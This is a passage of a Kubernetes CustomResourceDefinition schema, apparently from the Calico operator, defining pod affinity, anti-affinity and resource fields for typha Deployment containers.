                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                      type: object
                                    containers:
                                      description: |-
                                        Containers is a list of typha containers.
                                        If specified, this overrides the specified typha Deployment containers.
                                        If omitted, the typha Deployment will use its default values for its containers.
                                      items:
                                        description: TyphaDeploymentContainer is a
                                          typha Deployment container.
                                        properties:
                                          name:
                                            description: |-
                                              Name is an enum which identifies the typha Deployment container by name.
                                              Supported values are: calico-typha
                                            enum:
                                            - calico-typha
                                            type: string
                                          resources:
                                            description: |-
                                              Resources allows customization of limits and requests for compute resources such as cpu and memory.
                                              If specified, this overrides the named typha Deployment container's resources.
                                              If omitted, the typha Deployment will use its default value for this container's resources.
                                              If used in conjunction with the deprecated ComponentResources, then this value takes precedence.
                                            properties:
                                              claims:
                                                description: |-
                                                  Claims lists the names of resources, defined in spec.resourceClaims,
                                                  that are used by this container.
                                                  This is an alpha field and requires enabling the
                                                  DynamicResourceAllocation feature gate.
                                                  This field is immutable. It can only be set for containers.
                                                items:
                                                  description: ResourceClaim references
                                                    one entry in PodSpec.ResourceClaims.
                                                  properties:
                                                    name:
                                                      description: |-
                                                        Name must match the name of one entry in pod.spec.resourceClaims of
                                                        the Pod where this field is used. It makes that resource available
                                                        inside a container.
                                                      type: string
                                                    request:
                                                      description: |-
                                                        Request is the name chosen for a request in the referenced claim.
                                                        If empty, everything from the claim is made available, otherwise
                                                        only the result of this request.
                                                      type: string
                                                  required:
                                                  - name
                                                  type: object
                                                type: array
                                                x-kubernetes-list-map-keys:
                                                - name
                                                x-kubernetes-list-type: map
                                              limits:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
                                                  Limits describes the maximum amount of compute resources allowed.
                                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                                type: object
                                              requests:
                                                additionalProperties:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                                  x-kubernetes-int-or-string: true
                                                description: |-
